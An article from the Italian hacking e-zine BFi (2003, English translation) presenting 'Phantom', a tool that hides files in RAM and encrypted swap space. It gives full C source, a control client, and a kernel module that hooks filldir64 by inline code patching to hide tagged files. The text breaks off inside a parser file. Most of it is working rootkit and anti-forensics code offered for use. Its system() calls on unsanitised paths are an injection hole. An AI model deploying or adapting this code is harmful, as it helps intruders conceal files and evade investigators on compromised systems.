Copy Link
Add to Bookmark
Report

BFi numero 12 file 03 English

eZine's profile picture
Published in 
Butchered From Inside
 · 5 years ago

  

-[ BFi - English version ]----------------------------------------------------
BFi is an e-zine written by the Italian hacker community.
Full source code and original Italian version are available at:
http://bfi.s0ftpj.org/dev/BFi12-dev-03
English version translated by Tanith <lorettaharlowe@yahoo.it>
------------------------------------------------------------------------------



==============================================================================
--------------------[ BFi12-dev - file 03 - 14/03/2003 ]----------------------
==============================================================================


-[ DiSCLAiMER ]---------------------------------------------------------------
The whole stuff contained in BFi has informative and educational
purposes only. In no event the authors could be considered liable
for damages caused to people or things due to the use of code,
programs, pieces of information, techniques published on the e-zine.
BFi is a free and autonomous way of expression; we, the authors,
are as free to write BFi as you are free to go on reading or to stop
doing it right now. Therefore, if you think you could be harmed by
the topics covered and/or by the way they are in, * stop reading
immediately and remove these files from your computer * .
You, the reader, will keep to youself all the responsabilities about
the use you will do of the information published on BFi by going on.
You are not allowed to post BFi to the newsgroups and to spread
*parts* of the magazine: please distribute BFi in its original and
complete form.
------------------------------------------------------------------------------


-[ HACKiNG ]------------------------------------------------------------------
---[ EPiS0DE II: ATTACKiNG FiLES
-----[ Dark-Angel <Dark0@angelfire.com>



-== Episode II: Attacking files ==-

Technical requirements: -= libdisasm, you can find them at
http://bastard.sourceforge.net
-= Knowing something about C

Optional requirements: -= Two minutes of your precious time

Necessary requirements: -= Introducing me a girl you know :P


-=Introduction=-

Now we'll examine shortly what market offers about files hiding. We won't
consider at all binary tools doing it, since they can be found too easily. In
my opinion, Kernel space hiding is a better choice, but if a file system should
ever be checked by another kernel, or by assembling hd on another machine,
there would be no problem to find us. About inode tricks, they're interesting,
but we can't forget data are physically on hard disk, thus a low level scanning
would find them.
The method I'm to introduce is not a panacea, but it should be safe from such
controls and permit a longer permanency. :-)


-=Let's start=-

At first, we have to get free from file system and to consider files in their
quintessence, that is a bit set. This way all things are the same, the only
difference between a file and a process, for example, would be where bits are
located, in the first case they're located in fs, in the second case in ram.
Then, if they are the same, why shouldn't we treat them the same way? If we
succeed in doing it, hiding a file is the same as hiding a process, and we know
how to do the last one...
If we can copy, even in a rough way, a file system into ram, then we only have
to move data from a fs to another one, a very simple thing to do.
If we act this way, we'll get thus a process that will behave like a virtual
file system and will take care of managing our files; we'll only have to hide
this process in order to hide all data included on virtual fs. All this happens
without using a sole hard disk bit. That's nice, but we are not considering 3
things:

- By observing process memory it could be possible to read what hidden files
contain;
- If electricity goes, everything goes down the drain;
- If data size is too large, machine performance decrease would be not
sustainable.

The first problem can easily be resolved by using cryptography. As for the
second and the third, we'll have to introduce something else. Hiding must be
permanent, also when machine is off, but if we save files on hard disk they can
be noticed... well, actually that's not exactly this way: nobody forces us to
save them in "data" fs (that is ext?), we can as well use for this purpose swap
partition.
By saving crypted data in appropriate structures within swap partition we can
reload them or flush them at will, so that we don't take up too much ram and
we don't loose everything if electricity goes. Also, a swap analysis wouldn't
get nowhere, as we are crypting there too. Problems derived by writing into
swap are not likely, since we write on partition bottom, where, in theory,
only operations allowed on files when files are hidden this way are the ones
disposed by our vfs: for example, if we want to execute a hidden program, we'd
have to recreate ELF before executing it. During permanency on hd, however, it
would be clearly visible... unless we don't hide it another way: you can choose
how, but for who doesn't know how I attach here a hiding module working on
filldir rather than on overcontrolled getdents :)

Note: of course, Phantom creates files hidden copies, doesn't hide file on
itself. Once hidden by Phantom, you'll have to delete file on your own.


-= Phantom =-

A short description about how to use it. If we run program with no arguments we
get commands list:

Vortex:~# ./Phantom
[F]lush <--> Forces saving files
[S]ummon <--> Forces loading files
[L]ist <--> Lists memorized files
[H]ide <filepath> <--> Hides specified file
[M]hide <dir> <--> Hides recorsively all directory files
[R]ecreate <filepath> <--> Recreates specified file
[A]llCreation <dir> <--> Recreates recorsively all directory files
[I]nfo <--> Shows memory bytes used on that time
[C]leanup <--> Deletes all (volatile) memory files
[E]rase <--> Deletes all flushed files
Vortex:~#

Ok, now we activate it by using ./Phantom dummy_parameter and we take its pid.
We put pid in p_config.h and we compile client.c (pid is not compulsory, it is
used to avoid writing it everytime as argument when you launch client) and at
the end we write command letter followed by parameters.

Here's an example:

Vortex:~# ./client
Using hardcoded PID 120
Insert command:>I
Used memory --> 0
Insert command:>M /var/log/
Insert command:>I
Insert command:> /* If we don't have command output, it means it's still
working so we have to wait a bit */

Insert command:>I
Memoria usata --> 49999657
Insert command:>L
.
.
.
... files list
Insert command:>A /var/log/ksymoops/
Insert command:>I
Memoria usata --> 1513060 /* There were a few of them, weren't there? :P */
Insert command:>F
Insert command:>I
Memoria usata --> 0
Insert command:>L
Insert command:>S
Insert command:>L
.
.
.
... files list

Now use should be understandable :)


-== Thanks ==-

A special thank to xenion, valnir, vecna, delilah`, tinybyte and sgrakkyu,
whose I take advantage of to do my tests, and to all #phrack.it guys :)


-== Codes ==-

<-| phantom/Phantom.c |->
/* Phantom, files hider/manager through fs/RAM/Swap
*
* Copyright (c) 2003 Pierre Falda <DarkAngel@antifork.org>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <dirent.h>
#include <ctype.h>
#include <time.h>
#include "p_config.h"
#define GETPARAMETER do { char *buffer=(char *)calloc(MAXNAMELENGTH+20,sizeof(char));\
char *buffer2;\
if(!buffer) {\
whooops("Memoria non sufficiente per parsare il comando");\
break;\
}\
buffer2=(char *)calloc(MAXNAMELENGTH+20,sizeof(char));\
if(!buffer2) {\
whooops("Memoria non sufficiente per parsare il comando");\
free(buffer);\
break;\
}\
strncpy(buffer2,command,MAXNAMELENGTH+20);\
getdir(buffer,buffer2);\
free(buffer2);
#define CLOSEGET free(buffer);\
}\
while(0);

unsigned long swapdimension;
struct nodo *testa_lista = NULL;
void critical(char *);

struct file_entry {
char nome[MAXNAMELENGTH];
char valid[sizeof(VALID)];
int dimensione;
void *data;
};


struct nodo {
struct nodo *next;
struct file_entry *slot;
};

/*
* Cryptographic Engine by xenion,only adapted by me
*/

/*
* Nulla di spettacolare, giusto per non lavorare in chiaro
*/

unsigned char key[KEYLEN + 1];

typedef struct {
unsigned b1:1;
unsigned b2:1;
unsigned b3:1;
unsigned b4:1;
unsigned b5:1;
unsigned b6:1;
unsigned b7:1;
unsigned b8:1;
} bit8;


unsigned char *
pseudo64(unsigned char Pbyte[])
{

bit8 save_up,
*Pbit8;


Pbit8 = (bit8 *) & Pbyte[0];
save_up.b1 = Pbit8->b8;
Pbyte[0] <<= 1;

Pbit8 = (bit8 *) & Pbyte[1];
save_up.b2 = Pbit8->b8;
Pbyte[1] <<= 1;
Pbit8->b1 = save_up.b1 ^ Pbit8->b2 ^ Pbit8->b3;

Pbit8 = (bit8 *) & Pbyte[2];
save_up.b3 = Pbit8->b8;
Pbyte[2] <<= 1;
Pbit8->b1 = save_up.b2 ^ Pbit8->b2 ^ Pbit8->b3;

Pbit8 = (bit8 *) & Pbyte[3];
save_up.b4 = Pbit8->b8;
Pbyte[3] <<= 1;
Pbit8->b1 = save_up.b3 ^ Pbit8->b2 ^ Pbit8->b3;

Pbit8 = (bit8 *) & Pbyte[4];
save_up.b5 = Pbit8->b8;
Pbyte[4] <<= 1;
Pbit8->b1 = save_up.b4 ^ Pbit8->b2 ^ Pbit8->b3;

Pbit8 = (bit8 *) & Pbyte[5];
save_up.b6 = Pbit8->b8;
Pbyte[5] <<= 1;
Pbit8->b1 = save_up.b5 ^ Pbit8->b2 ^ Pbit8->b3;

Pbit8 = (bit8 *) & Pbyte[6];
save_up.b7 = Pbit8->b8;
Pbyte[6] <<= 1;
Pbit8->b1 = save_up.b6 ^ Pbit8->b2 ^ Pbit8->b3;

Pbit8 = (bit8 *) & Pbyte[7];
save_up.b8 = Pbit8->b8;
Pbyte[7] <<= 1;
Pbit8->b1 = save_up.b7 ^ Pbit8->b2 ^ Pbit8->b3;

Pbit8 = (bit8 *) & Pbyte[0];
Pbit8->b1 = save_up.b8 ^ save_up.b2 ^ save_up.b3 ^ save_up.b4;
Pbit8->b4 = Pbit8->b1 ^ save_up.b5 ^ save_up.b6 ^ save_up.b7;

return (Pbyte);

}


int
enc(char *path)
{
int bytes,
i;
FILE *in,
*out;
char buf[KEYLEN];
memset(key, 'x', KEYLEN);

if (!(in = fopen(path, "r")))
return -1;
if (!(out = fopen(TEMPATH, "w"))) {
fclose(in);
return -1;
}

strncpy(key, KEY, KEYLEN);
for (i = 0; i < 100; i++)
pseudo64(key);


while ((bytes = fread(buf, 1, KEYLEN, in)) > 0) {
pseudo64(key);
for (i = 0; i < bytes; i++)
buf[i] = buf[i] + key[i];
fwrite(buf, 1, bytes, out);
}
fclose(in);
fclose(out);
return 0;

}


int
dec(char *path)
{

int bytes,
i;
FILE *in,
*out;
char buf[KEYLEN];
char *last;
int posizione,
counter;

memset(key, 'x', KEYLEN);

if (!(in = fopen(TEMPATH, "r")))
return -1;

// Con questo arriviamo all'entry esatta
last = (char *) strrchr(path, (int) '/');
posizione = 1 + (last - path);
for (counter = 0; counter < posizione; counter++)
if (path[counter] == '/')
do {
struct stat dummy_info;
char *array =
(char *) calloc(counter + 1, sizeof(char));
char *command =
(char *) calloc(MAXNAMELENGTH + 11, sizeof(char));
if (!array) {
remove(TEMPATH);
fclose(in);
return -1;
}
if (!command) {
fclose(in);
free(array);
remove(TEMPATH);
return -1;
}
memcpy(array, path, counter);
if (strlen(array) != 0)
if ((lstat(array, &dummy_info)) < 0) {
memcpy(command, "mkdir ", 6);
strcat(command, array);
system(command);
memset(command, '\0', counter + 11);
memcpy(command, "chmod +700 ", 11);
strcat(command, array);
system(command);

}
free(array);
free(command);
}
while (0);

if (!(out = fopen(path, "w"))) {
fclose(in);
return -1;
}
strncpy(key, KEY, KEYLEN);
for (i = 0; i < 100; i++)
pseudo64(key);

while ((bytes = fread(buf, 1, KEYLEN, in)) > 0) {
pseudo64(key);
for (i = 0; i < bytes; i++)
buf[i] = buf[i] - key[i];
fwrite(buf, 1, bytes, out);
}
fclose(in);
fclose(out);
return 0;

}

/*
* End of the cryptographic section
*/

void check(void);
void whooops(char *);
unsigned long total_dimension = 0;

int
cancella_nodo(char *nome)
{
struct nodo *primo,
*secondo;
primo = testa_lista;
secondo = primo;


while ((strcmp(secondo->slot->nome, nome))) {
primo = secondo;
if (secondo)
secondo = secondo->next;
else
return 1;
if (!(secondo->next))
return 1;

}
if (secondo == testa_lista)
testa_lista = primo->next;
else
primo->next = secondo->next;

free(secondo->slot->data);
free(secondo->slot);
secondo->next = NULL;
free(secondo);
return 0;
}

struct nodo *
crea_nodo(struct file_entry *file)
{
struct nodo *elemento =
(struct nodo *) calloc(1, sizeof(struct nodo));
if (!elemento)
return NULL;
elemento->next = testa_lista;
elemento->slot = file;
testa_lista = elemento;
return testa_lista;
}

int
hide_file(char *name)
{
struct stat info_file;
struct file_entry *newborn;
void *data;
int handler;
if ((lstat(name, &info_file)) < 0)
return -1;
if ((total_dimension + sizeof(struct nodo) +
sizeof(struct file_entry) + (int) info_file.st_size) >
MAXMEMORYUSAGE) {
whooops("Non hai abbastanza memoria!\n");
return -1;
}
if (!
(newborn =
(struct file_entry *) calloc(1, sizeof(struct file_entry))))
return -1;
if (!(data = (void *) calloc(info_file.st_size, sizeof(void)))) {
free(newborn);
return -1;
}
if (enc(name) < 0) {
free(newborn);
free(data);
return -1;
}

if ((handler = open(TEMPATH, O_RDONLY)) < 0) {

free(newborn);
free(data);
return -1;
}
if ((read(handler, data, (int) info_file.st_size)) < info_file.st_size) {
close(handler);
free(newborn);
free(data);
return -1;
}
close(handler);
strncpy(newborn->nome, name, MAXNAMELENGTH);
strncpy(newborn->valid, VALID, sizeof(VALID));
newborn->dimensione = (int) info_file.st_size;
newborn->data = data;

if (!crea_nodo(newborn)) {
free(newborn);
free(data);
return -1;
}
remove(TEMPATH);
total_dimension +=
(sizeof(struct nodo) + sizeof(struct file_entry) +
newborn->dimensione);

return 0;


}

int
recreate(char *name, int mode)
{
int handler;
struct nodo *runner = testa_lista;

if (mode == SINGLEFILE) {
while (runner) {
if (!(strcmp(runner->slot->nome, name))) {
if ((handler = open(TEMPATH, O_CREAT | O_WRONLY)) < 0)
return -1;
if ((write
(handler, runner->slot->data,
runner->slot->dimensione)) < 0)
return -1;
close(handler);
if (dec(runner->slot->nome) < 0) {
remove(TEMPATH);
return -1;
}
remove(TEMPATH);
total_dimension -=
(sizeof(struct nodo) + sizeof(struct file_entry) +
runner->slot->dimensione);
cancella_nodo(runner->slot->nome);
return 0;
} else
runner = runner->next;
}
} else {
while (runner) {
if (!(strncmp(runner->slot->nome, name, strlen(name)))) {
if ((handler = open(TEMPATH, O_CREAT | O_WRONLY)) < 0) {
return -1;
}
if ((write
(handler, runner->slot->data,
runner->slot->dimensione)) < 0) {
close(handler);
return -1;
}
close(handler);
if (dec(runner->slot->nome) < 0) {
remove(TEMPATH);
return -1;
}
remove(TEMPATH);
total_dimension -=
(sizeof(struct nodo) + sizeof(struct file_entry) +
runner->slot->dimensione);
cancella_nodo(runner->slot->nome);
runner = testa_lista;
} else {
// printf("->%s<- is the string e non matcha con ->%s<- per i primi %d bytes\n",name,runner->slot->nome,strlen(name));
runner = runner->next;
}
}
}
return 0;
}

int
hide_dir(char *pathname)
{
struct dirent *dir_entry;
DIR *dir_stream;
struct stat buf;
char *tempbuf = (char *) calloc(MAXNAMELENGTH, sizeof(char));
if (!tempbuf)
return -1;

if (!(dir_stream = opendir(pathname))) {
free(tempbuf);
whooops("Impossibile aprire la directory base\n");
whooops(pathname);
return -1;
}
while ((dir_entry = readdir(dir_stream))) {
if ((!(strcmp(dir_entry->d_name, ".")))
|| (!(strcmp(dir_entry->d_name, ".."))))
continue;
else {
memset(&buf, '\0', sizeof(struct stat));
memset(tempbuf, '\0', MAXNAMELENGTH);
memcpy(tempbuf, pathname, strlen(pathname));
strcat(tempbuf, dir_entry->d_name);
if ((lstat(tempbuf, &buf)) < 0) {
whooops("Errore esaminando un'entry: ");
whooops(tempbuf);
continue;
}
if (S_ISDIR(buf.st_mode)) {
do {
char *artificial =
(char *) calloc(strlen(tempbuf) + 1 + 1,
sizeof(char));
if (artificial == NULL) {
whooops("Sottodirectory non nascosta!->");
whooops(tempbuf);
continue;
}
memcpy(artificial, tempbuf, (strlen(tempbuf)));
hide_dir(strcat(artificial, "/"));
free(artificial);
}
while (0);
continue;

}
memset(tempbuf, '\0', MAXNAMELENGTH);
strncpy(tempbuf, pathname, MAXNAMELENGTH - 256);
strcat(tempbuf, dir_entry->d_name);
if ((hide_file(tempbuf)) < 0) {
whooops("File non nascosto!:");
whooops(tempbuf);
continue;
}
}
}
free(tempbuf);
closedir(dir_stream);
return 0;
}

void
getdir(char *dest, char *src)
{
int i;
char *start = strchr(src, (int) '/');

for (i = 0; i < strlen(src); i++)
if (*start != '\n')
*dest++ = *start++;
else
break;

}


void
getswap(char *dest)
{
int test = 1;
FILE *filestream;
char *ret,
tempbuf[200] = { '\0' };
char filepath[] = "/etc/fstab";
if (!(filestream = fopen(filepath, "r"))) {
critical("File delle partizioni non trovato");
exit(-1);
}

while ((ret = fgets(tempbuf, 200, filestream))) {
if (strstr(tempbuf, "swap"))
break;
else {
memset(tempbuf, '\0', 200);
continue;
}
}
fclose(filestream);
while (test++ < MAXNAMELENGTH)
if ((*ret != '\t') && (*ret != ' '))
*dest++ = *ret++;
else
break;
}

int
lister(void)
{
FILE *stream;
struct nodo *dummy;

if (!(stream = fopen(CONTACT, "a")))
return -1;
dummy = testa_lista;
while (dummy) {
fwrite(dummy->slot->nome, sizeof(char), strlen(dummy->slot->nome),
stream);
fwrite("\n", sizeof(char), 1, stream);
dummy = dummy->next;
}
fclose(stream);
return 0;
}

int
to_swap(void)
{
char swap_path[200] = { '\0' };
struct nodo *dummy;
int handler;
getswap(swap_path);
if ((handler = open(swap_path, O_RDWR)) < 0)
return -1;
if ((lseek(handler, -(TRUEMEMORYUSAGE), SEEK_END)) < 0) {
close(handler);
return -1;
}
dummy = testa_lista;

while (dummy) {
if (write(handler, dummy->slot, sizeof(struct file_entry)) < 0) {
close(handler);
return -1;
}
if (write(handler, dummy->slot->data, dummy->slot->dimensione) < 0) {
close(handler);
return -1;
}
total_dimension -=
(sizeof(struct nodo) + sizeof(struct file_entry) +
dummy->slot->dimensione);
cancella_nodo(dummy->slot->nome);
dummy = testa_lista;
}
close(handler);
return 0;
}

int
regeneration(void)
{
char swap_path[200] = { '\0' };
unsigned long quanto = 0;
struct file_entry *reborn;
void *data;
int handler,
tmp;

getswap(swap_path);
if ((handler = open(swap_path, O_RDONLY)) < 0)
return -1;
if ((lseek(handler, -(TRUEMEMORYUSAGE), SEEK_END)) == -1) {
critical("Problemi con la rigenerazione dei files!!!");
exit(-1);
}


if (!
(reborn =
(struct file_entry *) calloc(1, sizeof(struct file_entry)))) {
close(handler);
return -1;
}
while ((tmp = read(handler, reborn, sizeof(struct file_entry))) > 0) {
if ((quanto += tmp) > MAXMEMORYUSAGE)
return 0;

if (!(strstr(reborn->valid, VALID))) {
memset(reborn, '\0', sizeof(struct file_entry));
continue;
}

if (!(data = (void *) calloc(reborn->dimensione, sizeof(void)))) {
memset(reborn, '\0', sizeof(struct file_entry));
continue; // Se non ha abbastanza spazio prova con
// un'altro
}

read(handler, data, reborn->dimensione);
reborn->data = data;
if ((crea_nodo(reborn)) < 0) {
memset(reborn, '\0', sizeof(struct file_entry));
continue;
}

total_dimension +=
sizeof(struct nodo) + sizeof(struct file_entry) +
reborn->dimensione;
if (!
(reborn =
(struct file_entry *) calloc(1, sizeof(struct file_entry)))) {
close(handler);
return -1;
}
data = NULL;
}
free(reborn);
close(handler);
return 0;
}

void
critical(char *message)
{
int handler;

if ((handler = open(CONTACT, O_WRONLY)) < 0) {
fprintf(stderr,
"Wow, fallimento critico nella critical!\n-->%s<--\n",
message);
exit(-1);
}
if ((write(handler, message, strlen(message))) < 0) {
fprintf(stderr,
"Wow, fallimento critico nella critical\n-->%s<--\n",
message);
exit(-1);
}
close(handler);
}

void
whooops(char *message)
{
int handler;
if ((handler = open(CONTACT, O_WRONLY)) < 0) {
fprintf(stderr, "%s\n", message);
return;
}
if ((write(handler, message, strlen(message))) < 0) {
fprintf(stderr, "%s\n", message);
return;
}
close(handler);
}



void
commands(void)
{
printf("
[F]lush <--> Forza il salvataggio dei files\n
[S]ummon <--> Forza il caricamento dei files\n
[L]ist <--> Elenca i files memorizzati\n
[H]ide <filepath> <--> Nasconde il file specificato\n
[M]hide <dir> <--> Nasconde ricorsivamente tutti i files della directory\n
[R]ecreate <filepath> <--> Ricrea il file specificato\n
[A]llCreation <dir> <--> Ricrea ricorsivamente tutti i files della dir\n
[I]nfo <--> Mostra i bytes di memoria attualmente utilizzati\n
[C]leanup <--> Cancella tutti i files in memoria\n
[E]rase <--> Cancella tutti i file flushati\n\n"
);
exit(0);
}

void
memory(void)
{
FILE *stream;

if (!(stream = fopen(CONTACT, "a")))
return;
fprintf(stream, "Memoria usata --> %ld\n", total_dimension);
fclose(stream);
}

int
erase(void)
{
int handler;
char *infinite = (char *) calloc(1, sizeof(char));
char swap_path[200] = { '\0' };
int i;
memset(infinite, '\0', sizeof(char));
getswap(swap_path);

if ((handler = open(swap_path, O_RDWR)) < 0) {
free(infinite);
return -1;
}

if ((lseek(handler, -(TRUEMEMORYUSAGE), SEEK_END)) <
-(TRUEMEMORYUSAGE)) {
free(infinite);
return -1;
}

for (i = 0; i < MAXMEMORYUSAGE; i++)
write(handler, infinite, 1);
free(infinite);
close(handler);
return 0;
}

void
cleanup(void)
{
struct nodo *hunter,
*back;
int dimensione;
hunter = testa_lista;
while (hunter) {
back = hunter->next;
dimensione = hunter->slot->dimensione;
if (!(cancella_nodo(hunter->slot->nome)))
total_dimension -=
(sizeof(struct nodo) + sizeof(struct file_entry) +
dimensione);
hunter = back;
}
}
int
main(int argc, char *argv[])
{
void backup();
void fuck();
if (argc == 1)
commands();


if (fork()) {
printf("Phantom started\n");
exit(0);
}

check();
signal(SIGTERM, backup);
signal(SIGHUP, backup);
signal(SIGSEGV, backup);
signal(SIGSTKFLT, fuck);

regeneration();
recreate("/",DIRECTORY);
while (1)
sleep(10000000);

return 0;

}

void
backup(void)
{
to_swap();
}
void
check(void)
{
int opened;
char *swapname =
(char *) calloc(MAXNAMELENGTH, sizeof(char));
getswap(swapname);
if ((opened = open(swapname, O_RDWR)) < 0) {
critical("Impossibile aprire la swap!");
free(swapname);
exit(-1);
}
if ((swapdimension = lseek(opened, 0, SEEK_END)) < TRUEMEMORYUSAGE) {
critical("Non c'e' abbastanza spazio nella swap!");
close(opened);
free(swapname);
exit(-1);
}
close(opened);
free(swapname);
}
void
fuck(void)
{
char command[MAXNAMELENGTH + 20] = { '\0' };
FILE *stream;

if (!(stream = fopen(INPUT, "rw")))
return;

while (fgets(command, MAXNAMELENGTH + 20, stream)) {
switch (command[0]) {

case 'F':
if ((to_swap()) < 0)
whooops("Swapping non riuscito\n");
break;
case 'S':
if ((regeneration()) < 0)
whooops("Summoning non riuscito\n");
break;
case 'L':
if ((lister()) < 0)
whooops("Listing non riuscito\n");
break;
case 'H':
GETPARAMETER if ((hide_file(buffer)) < 0)
whooops("Hiding non riuscito\n");
CLOSEGET break;
case 'M':
GETPARAMETER if ((hide_dir(buffer)) < 0)
whooops("Hiding non riuscito\n");
CLOSEGET break;
case 'R':
GETPARAMETER if ((recreate(buffer, SINGLEFILE)) < 0)
whooops("Recreating non riuscito\n");
CLOSEGET break;
case 'A':
GETPARAMETER if ((recreate(buffer, DIRECTORY)) < 0)
whooops("Recreating non riuscito\n");
CLOSEGET break;
case 'I':
memory();
break;
case 'C':
cleanup();
break;
case 'E':
if ((erase()) < 0)
whooops("Erasing non ruscito\n");
break;

}
memset(command, '\0', MAXNAMELENGTH + 20);
}
fclose(stream);
remove(INPUT);
}
<-X->

<-| phantom/Client.c |->
/*
* Silly raw client for Phantom
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/


#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#include "p_config.h"

int pid=P_PID;
int main(int argc,char *argv[]){
int fd;
char buffer[500];

pid=P_PID;
if(argc==1)
fprintf(stderr,"Using hardcoded PID\n");
else
pid=atoi(argv[1]);

while(1) {
if((fd=open(INPUT,O_CREAT|O_WRONLY| O_TRUNC))<0)
ERROR("Cannot open commands file!\n");

memset(buffer,'\0',500);
fprintf(stderr,"Insert command:>");
read(0,buffer,500);
if(write(fd,buffer,strlen(buffer))<=0) {
fprintf(stderr,"Cannot write this command!\n");
continue;
}
close(fd);
kill(pid,SIGSTKFLT);
sleep(1);
if((fd=open(CONTACT,O_RDONLY))<0)
continue;
memset(buffer,'\0',500);
while(read(fd,buffer,500)>0)
fprintf(stderr,"%s",buffer);
fprintf(stderr,"\n");
close(fd);
remove(CONTACT);

}
return 0;
}
<-X->

<-| phantom/p_config.h |->
#define MAXMEMORYUSAGE 50000000 /* Change this to modify memory limits */
#define TRUEMEMORYUSAGE MAXMEMORYUSAGE+10000000
#define MAXNAMELENGTH 104+256
#define SINGLEFILE 0
#define DIRECTORY 1
#define VALID "A Phantom Valid Entry" /* Change this as you want */
#define CONTACT "/tmp/P_out" /* Outputs read by client */
#define INPUT "/tmp/P_in" /* Where client writes inputs */
#define TEMPATH "/tmp/P_temp" /* Service file */
#define KEYLEN 8
#define KEY "h4x0r"
#define ERROR(arg) { fprintf(stderr,"arg"); return -1; }
#define P_PID 777
#define HIDETAG "change_this"
<-X->

<-| phantom/Obfuscate.c |->
/*
* A simple files hider through filldr64
*
* Copyright (c) 2003 Pierre Falda <DarkAngel@antifork.org>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/



#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif


#include <linux/module.h>
#include <linux/kernel.h>

#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/stat.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <asm/smplock.h>
#include <linux/interrupt.h>
#include <linux/spinlock.h>
#include <linux/sched.h>
#include <asm/current.h>
#include "p_config.h"

#define CODESIZE 7

static char injcode[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
static char backup[CODESIZE];


struct linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[0];
};


struct getdents_callback64 {
struct linux_dirent64 * current_dir;
struct linux_dirent64 * previous;
int count;
int error;
};

#define NAME_OFFSET(de) ((int) ((de)->d_name - (char *) (de)))
#define ROUND_UP64(x) (((x)+sizeof(u64)-1) & ~(sizeof(u64)-1))

static int n_filldir64(void * __buf, const char * name, int namlen, loff_t offset,
ino_t ino, unsigned int d_type)
{
struct linux_dirent64 * dirent, d;
struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf;
int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);
int ret;
static int (*o_filldir)(void *,const char *, int, loff_t, ino_t,unsigned int)=(void *)FILLDIR64;
if((strstr(name,HIDETAG)))
return 0;
memcpy((unsigned long *)FILLDIR64,backup,CODESIZE);
ret=o_filldir(__buf,name,namlen,offset,ino,d_type);
memcpy((unsigned long *)FILLDIR64,injcode,CODESIZE);
return ret;
}


int init_module (void) {
*(unsigned long *)&injcode[1]=(unsigned long)n_filldir64;
memcpy(backup,(unsigned long *)FILLDIR64,CODESIZE);
memcpy((unsigned long *)FILLDIR64,injcode,CODESIZE);
return 0;

}

void cleanup_module(void) {
memcpy((unsigned long *)FILLDIR64,backup,CODESIZE);
}
<-X->

<-| phantom/Parser.c |->
/*
* Do ./parser >> p_config.h to add filldir64 address
*
*
* Copyright (c) 2003 Pierre Falda <DarkAngel@antifork.org>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
